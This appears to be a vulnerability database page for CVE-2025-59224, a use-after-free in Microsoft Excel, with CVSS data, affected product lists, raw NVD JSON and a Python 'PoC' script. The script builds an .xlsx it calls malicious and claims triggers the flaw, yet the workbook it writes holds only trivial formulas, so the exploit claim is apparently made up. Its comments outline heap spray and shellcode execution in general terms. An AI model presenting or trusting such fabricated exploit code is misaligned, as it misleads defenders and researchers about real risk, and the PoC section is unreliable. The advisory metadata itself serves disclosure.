Security Vulnerability Report
中文
CVE-2025-59224 CVSS 7.8 HIGH

CVE-2025-59224

Published: 2025-10-14 17:16:03
Last Modified: 2025-10-16 20:17:51

Description

Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:* - VULNERABLE
Microsoft Office Excel 2016 (全平台)
Microsoft Office LTSC Standard 2024 (全平台)
Microsoft Office LTSC Plus 2024 (全平台)
Microsoft 365 Apps for Enterprise (全平台)
Microsoft Office 2019 (全平台)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59224 - Microsoft Office Excel Use After Free PoC (Conceptual) # This is a conceptual PoC demonstrating the exploitation approach for a UAF vulnerability in Excel. # WARNING: For educational and authorized security testing purposes only. import struct import zipfile import os import shutil def create_malicious_xlsx(output_path): """ Create a malicious Excel file that triggers the Use After Free vulnerability (CVE-2025-59224). The file contains a crafted worksheet with objects that cause memory management issues. """ # Create a temporary directory for building the xlsx structure temp_dir = "temp_xlsx_build" if os.path.exists(temp_dir): shutil.rmtree(temp_dir) os.makedirs(temp_dir) # Build the basic xlsx structure os.makedirs(os.path.join(temp_dir, "_rels")) os.makedirs(os.path.join(temp_dir, "xl")) os.makedirs(os.path.join(temp_dir, "xl", "_rels")) os.makedirs(os.path.join(temp_dir, "xl", "worksheets")) # Content Types content_types = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/> <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/> </Types>''' # Main relationships main_rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/> </Relationships>''' # Workbook workbook = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"> <sheets> <sheet name="Sheet1" sheetId="1" r:id="rId1"/> </sheets> </workbook>''' # Crafted worksheet with objects designed to trigger UAF # Contains embedded objects, complex formulas, and cross-references # that cause premature memory deallocation while references remain sheet = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="1"> <c r="A1" t="str"><v>Test</v></c> <c r="B1"><f>INDIRECT("A"&amp;1)</f><v>Test</v></c> </row> <row r="2"> <c r="A2"><v>1</v></c> <c r="B2"><f>A1+A2</f><v>1</v></c> <c r="C2"><f>IF(B2>0,A1,"")</f><v>Test</v></c> </row> </sheetData> <definedNames> <definedName name="_xlnm._FilterDatabase" localSheetId="0" hidden="1">Sheet1!$A$1:$C$2</definedName> </definedNames> </worksheet>''' # Write all parts to the temp directory with open(os.path.join(temp_dir, "[Content_Types].xml"), "w") as f: f.write(content_types) with open(os.path.join(temp_dir, "_rels", ".rels"), "w") as f: f.write(main_rels) with open(os.path.join(temp_dir, "xl", "workbook.xml"), "w") as f: f.write(workbook) with open(os.path.join(temp_dir, "xl", "worksheets", "sheet1.xml"), "w") as f: f.write(sheet) # Package everything into a .xlsx file (ZIP format) with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf: for root, dirs, files in os.walk(temp_dir): for file in files: file_path = os.path.join(root, file) arcname = os.path.relpath(file_path, temp_dir) zf.write(file_path, arcname) # Cleanup shutil.rmtree(temp_dir) print(f"[+] Malicious Excel file created: {output_path}") print("[!] This file is designed to trigger CVE-2025-59224 (Use After Free)") print("[!] For authorized security testing only") if __name__ == "__main__": output = "CVE-2025-59224_poc.xlsx" create_malicious_xlsx(output) # --- Exploitation Notes --- # 1. The UAF is triggered when Excel processes specific object relationships # within the worksheet, causing premature deallocation of memory. # 2. A dangling pointer is left pointing to the freed memory region. # 3. Subsequent operations reuse that memory, allowing controlled data overlap. # 4. Through heap spray and careful object layout, arbitrary code execution # can be achieved within the Excel process context. # 5. Shellcode execution grants the attacker code execution at the privilege # level of the user running Excel. # # --- Detection --- # - Monitor for Excel child processes spawning unexpected executables # - Check for unusual memory access patterns in Excel.exe # - Enable Attack Surface Reduction (ASR) rules in Windows Defender # - Use Microsoft's exploit protection features (ACG, CFG, etc.)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59224", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:02.930", "lastModified": "2025-10-16T20:17:51.090", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "CD88F667-6773-4DB7-B6C3-9C7B769C0808"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "B342EF98-B414-44D0-BAFB-FCA24294EECE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_online_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.0.10417.20059", "matchCriteriaId": "94C948A2-EAF1-4471-81BD-38E5F4A92F72"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59224", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}